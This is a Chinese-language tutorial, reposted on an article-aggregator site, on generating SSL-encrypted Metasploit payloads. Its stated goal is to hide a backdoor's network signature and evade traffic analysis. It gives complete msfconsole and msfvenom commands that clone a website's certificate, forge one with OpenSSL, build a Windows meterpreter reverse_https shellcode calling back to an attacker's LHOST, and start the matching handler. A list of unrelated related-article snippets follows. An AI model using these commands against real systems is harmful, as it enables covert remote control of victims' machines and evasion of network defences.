1.3 Metasploit 生成SSL加密载荷

news2024/11/17 13:40:31

在本节中,我们将介绍如何通过使用Metasploit生成加密载荷,以隐藏网络特征。前一章节我们已经通过Metasploit生成了一段明文的ShellCode,但明文的网络传输存在安全隐患,因此本节将介绍如何通过生成SSL证书来加密ShellCode,使得网络特征得到隐藏,从而提高后门的生存能力和抵抗网络特征分析的能力。

ShellCode 网络特征加密我们采用的是SSL(Secure Sockets Layer),现已被替换为TLS(Transport Layer Security),SSL是一种用于在Web上传输数据的安全协议。它的主要目的是确保在互联网上传输的数据在传递过程中不会被第三方窃取或篡改。SSL加密的原理是通过两个公钥和一个私钥来加密数据。公钥用于加密数据,私钥用于解密数据。在传输过程中,发送者使用接收者的公钥对数据进行加密,接收者使用自己的私钥对数据进行解密。这样,即使在网络上被窃取,数据也无法被第三方解密,从而保证了数据的安全性。

通常,SSL证书由以下几部分组成:

  • 证书主体:证明证书拥有者的信息,如域名、组织名称等。
  • 公钥:用于加密数据的公钥。
  • 私钥:用于解密数据的私钥,需要在安全的环境中保存。
  • 签名:证明证书内容是由可信任的证书颁发机构签发的。
  • 有效期:证明证书的有效期,在该期限内有效。
  • 颁发者:证明证书的颁发者,如VeriSign、GoDaddy等。

1.3.1 通过MSF模块克隆证书

要想实现加密通常我们需要获取一个专属的证书文件,获取证书的方式有两种,第一种方式是通过Impersonate_SSL模块,对已有证书进行下载操作,如下命令实现了将www.lyshark.com网站中的证书下载到本地的功能,

msf6 > use auxiliary/gather/impersonate_ssl
msf6 > set rhost www.lyshark.com
msf6 > run

当读者执行命令后,则该证书将被下载到home/lyshark/.msf4/loot/目录下,其中包含了证书的key,crt,pem等文件,输出如下图所示;

当具备了克隆证书后,读者可在Metasploit中交互式执行如下命令实现生成带有加密功能的ShellCode代码,如下代码中通过HANDLERSSLCERT指定证书位置,并通过generate生成C语言版ShellCode代码。

msf6 > use payload/windows/meterpreter/reverse_https
msf6 > set STAGERVERIFYSSLCERT true
msf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
msf6 > set LHOST 192.168.9.135
msf6 > set lport 8443
msf6 > generate -f c

而对于服务端来说,在传递参数时,读者同样需要在HANDLERSSLCERT中传递私有证书,

msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_https
msf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
msf6 > set STAGERVERIFYSSLCERT true
msf6 > set LPORT 8443
msf6 > set LHOST 192.168.140.128
msf6 > run -j

1.3.2 通过OpenSSL制作证书

当然读者也可用通过kali系统内自带的openssl命令生成一个新的伪造证书,OpenSSL是一个开源的安全工具,用于实现SSL/TLS协议。它提供了一系列命令行工具,可以用于生成证书、加密数据、解密数据等操作。

首先使用第一种方式生成,下面是各个参数的详细解释:

  • req:指定生成证书请求。
  • new:指定生成一个新的证书请求。
  • newkey rsa:4096:指定生成的证书的密钥长度为4096位。
  • days 365:指定证书的有效期为365天。
  • nodes:指定不加密私钥。
  • x509:指定生成的证书类型为X.509证书。
  • subj “/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com”:指定证书主题信息,其中C=UK代表国家,ST=London代表省份,L=London代表城市,O=Development代表组织,CN=www.lyshark.com代表通用名称。
  • keyout www.lyshark.com.key:指定输出的私钥文件名。
  • out www.lyshark.com.crt:指定输出的证书文件名。

通过这条命令,可以生成一个有效期为365天,密钥长度为4096位的X.509证书,证书主题信息为"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com",私钥文件名为www.lyshark.com.key,证书文件名为www.lyshark.com.crt。

┌──(lyshark㉿kali)-[~/lyshark]
└─$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj \
"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com" \
-keyout www.lyshark.com.key -out www.lyshark.com.crt

┌──(lyshark㉿kali)-[~/lyshark]
└─$ cat www.lyshark.com.key www.lyshark.com.crt > www.lyshark.com.pem

接着读者可执行msfvenom命令通过非交互方式生成一段加密版的ShellCode代码片段。

┌──(lyshark㉿kali)-[~/lyshark]
└─$ msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.9.135 LPORT=8443 \
PayloadUUIDTracking=true PayloadUUIDName=Whoamishell \
HandlerSSLCert=/root/test/www.lyshark.com.pem \
StagerVerifySSLCert=true -f c -o /root/test.c

服务端启用侦听模式,并通过HandlerSSLCert传入同样的证书私钥即可。

msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_https
msf6 > set LHOST 192.168.9.135
msf6 > set LPORT 8443
msf6 > set HandlerSSLCert /root/test/www.baidu.com.pem
msf6 > set StagerVerifySSLCert true
msf6 > exploit -j -z

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/707295.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ChatGPT应用工具推荐

ChatGPT作为一种先进的自然生成技术,已经在各个领域展现出了其强大的应用能力,下面将给大家介绍一些ChatGPT的功能应用。 简介 此系统是基于likeadmin—PHP开发的智能对话系统,ChatGPT是一种基于人工智能技术的聊天机器人,它可以…

如何利用AI智能聊天机器人 10秒钟做出一个故事绘本的神奇插件

原文链接:如何利用AI智能聊天机器人10秒钟做出一个故事绘本的神奇插件 C_h~at_&G&&P_T : 以下称为AI智能聊天机器人 一、AI智能聊天机器人4中集成“Stories”插件 对于已经熟悉使用AI智能聊天机器人4 的插件的朋友们,直接在应用市场里搜索…

vtkdicom0.8_vtk9.2_dcmtk3.6.7_qt6.2编译OK

目录 0 结果展示 1 cmake要点 2 编译报错解决 3 参考链接 0 结果展示 1 cmake要点 注意DCMTK_dcmtk_INCLUDE_DIR 2 编译报错解决 D:\Work\C\qt6Work\DCMTK\install\bin\dcmtkcharls.dll : fatal error LNK1107: 文件无效或损坏: 无法在 0x308 处读取 修改,从…

docker安装mysql并且进行连接

1、拉取镜像、在linux中执行命令 docker pull mysql 2、运行容器、在linux中执行命令 docker run -d --name mysql -p 3308:3306 -e MYSQL_ROOT_PASSWORD123456 mysql3、 进入容器、在linux中执行命令 docker ps -a docker exec -it 2a85f05d4090 /bin/bash 4、登录docker中的m…

MySQL日志详解

♥️作者:小刘在C站 ♥️个人主页: 小刘主页 ♥️努力不一定有回报,但一定会有收获加油!一起努力,共赴美好人生! ♥️学习两年总结出的运维经验,以及思科模拟器全套网络实验教程。专栏&#xf…

基于SpringBoot+vue的校园新闻网站设计与实现

博主介绍: 大家好,我是一名在Java圈混迹十余年的程序员,精通Java编程语言,同时也熟练掌握微信小程序、Python和Android等技术,能够为大家提供全方位的技术支持和交流。 我擅长在JavaWeb、SSH、SSM、SpringBoot等框架…

移动WEB开发之流式布局

css基础(一)css基础(一)_上半场结束,中场已休息,下半场ing的博客-CSDN博客Emmet语法Emmet语法_上半场结束,中场已休息,下半场ing的博客-CSDN博客css基础(二)c…

go语言学习笔记1

go语言简介 ​ GoLang是一种静态强类型、编译型、并发型,并具有垃圾回收功能的编程语言;它可以在不损失应用程序性能的情况下极大的降低代码的复杂性,还可以发挥多核处理器同步多工的优点,并可解决面向对象程序设计的麻烦&#x…

2.ThreadLocalRandom

Random类及其局限性 一般情况下&#xff0c;我们都会使用java.util.Random来生成随机数&#xff08;Math.random()也是使用Random实例生成随机数&#xff09;。 示例 public static void main(String[] args) {Random random new Random();for (int i 0; i < 10; i) {S…

热搜第一!携程宣布每生一个娃奖5万!

6月30日&#xff0c;在线旅游平台携程集团宣布&#xff0c;他们全新推出一项针对全球员工的生育补贴政策。 从2023年7月1日开始&#xff0c;入职满3年的全球员工&#xff0c;无论你是男是女&#xff0c;每生育一个孩子&#xff0c;就将为你获得每年一万元的现金补贴。而这份补贴…

从vue2学习vue3

vue3与vue2的区别 Vue 3在写法上与Vue 2有一些区别&#xff0c;以下是一些常见的区别&#xff1a;引入方式&#xff1a;Vue 2使用Vue全局对象进行引入&#xff0c;而Vue 3使用createApp函数创建应用实例。组件注册&#xff1a;Vue 2中使用Vue.component全局方法或在选项中使用…

Python用if-else实现【猜数字】

文章目录 Python 猜数字案例代码实现&#xff1a;运行效果&#xff1a; Python 猜数字案例 设置一个范围1-100的随机整数变量&#xff0c;通过while循环&#xff0c;配合input语句&#xff0c;判断输入的数字是否等于随机数 无限次机会&#xff0c;直到猜中为止每一次猜不中&am…

1.Springboot基础篇笔记

Springboot基础篇 1.快速上手Springboot 1.基础配置 1.parent 通过配置指定父工程依赖为spring-boot-starter-paerent实现了版本管理的功能&#xff0c;再导入springboot整合其他技术的jar包即可 作用&#xff1a;指定jar包版本信息信息&#xff0c;避免依赖版本冲突 这个s…

理解 flask中request中form、data、json、values属性的区别

flask的request对象中关于请求参数的获取有几个不同的属性,例如 args、form、data、json。估计大部分人一开始也分不清什么情况下哪个属性有值,哪个属性没值,这篇文章全面整理了这几个属性之间的区别和使用场景。 flask.request对象其实是对HTTP请求的一种封装,我们知道HT…

Fidder抓包工具基础+postman调试测试

1、下载地址 汉化Fiddler Web Debugger(5.0.20192.25092)中文版 2、配置参数初始化 开启 fidder 百度即可 3、抓包 核心&#xff1a; 入参 出参 4、如何把包的数据放到postman发生请求 保存一个文件&#xff0c;选择格式 保存文件 自定义名称 将har 包托人 postman 即可 &…

华为OD机试真题B卷 Python 实现【箱子之形摆放】,附详细解题思路

目录 一、题目描述二、输入描述三、输出描述四、解题思路五、Python算法源码六、效果展示1、输入2、输出3、说明 一、题目描述 要求将一批箱子按从上到下以‘之’字形的顺序摆放在宽度为 n 的空地上&#xff0c;输出箱子的摆放位置&#xff0c;例如&#xff1a;箱子ABCDEFG&am…

Autosar诊断实战系列08-Dem与BswM在ECU运行期间究竟擦出了哪些火花

本文框架 前言1. Dem与BswM交互内容先睹为快2 Dem与BswM交互的配置开发2.1 ESH_DemInit Rule2.2 Dem_Shutdown的处理规则3. Dem在初始化及Shutdown期间的工作内容3.1 Dem初始化期间工作内容3.2 Dem_ShutDown期间工作内容前言 在本系列笔者将结合工作中对诊断实战部分的应用经验…

九齐NY8A051D硬件IR模块的配置和使用以及解码处理

写在前面 最近在群里有看到有小伙伴在问九齐的硬件IR模块&#xff0c;突然想起来我好像用过&#xff0c;找了半天才把项目找出来&#xff0c;写篇博客记录一下方便下次使用和寻找。 按道理来说九齐所有内置硬件IR模块的MCU都是可以用类似的方法配置和使用的&#xff0c;举一反…

packaged_task创建异步任务

本文将介绍基本的packaged_task的用法&#xff1a; 看完上述代码后一定有疑问&#xff1a; 为什么要有packaged_task&#xff1f; 解答&#xff1a;上文的线程通信代码如下&#xff1a; 功能主要是做了求两数之和&#xff0c;然而一般情况下&#xff0c;我们并不习惯这样编写子…

Hive(15):Table(表)DDL操作

1 Describe table Hive中的DESCRIBE table语句用于显示Hive中表的元数据信息 describe formatted [db_name.]table_name; describe extended [db_name.]table_name; 如果指定了EXTENDED关键字,则它将以Thrift序列化形式显示表的所有元数据。如果指定了FORMATTED关键字,则它…